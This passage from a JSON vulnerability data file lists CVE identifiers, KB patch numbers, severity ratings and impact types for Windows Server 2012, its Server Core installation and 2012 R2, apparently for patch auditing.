Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197876","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005623","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005623","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2012 R2":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3010788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code 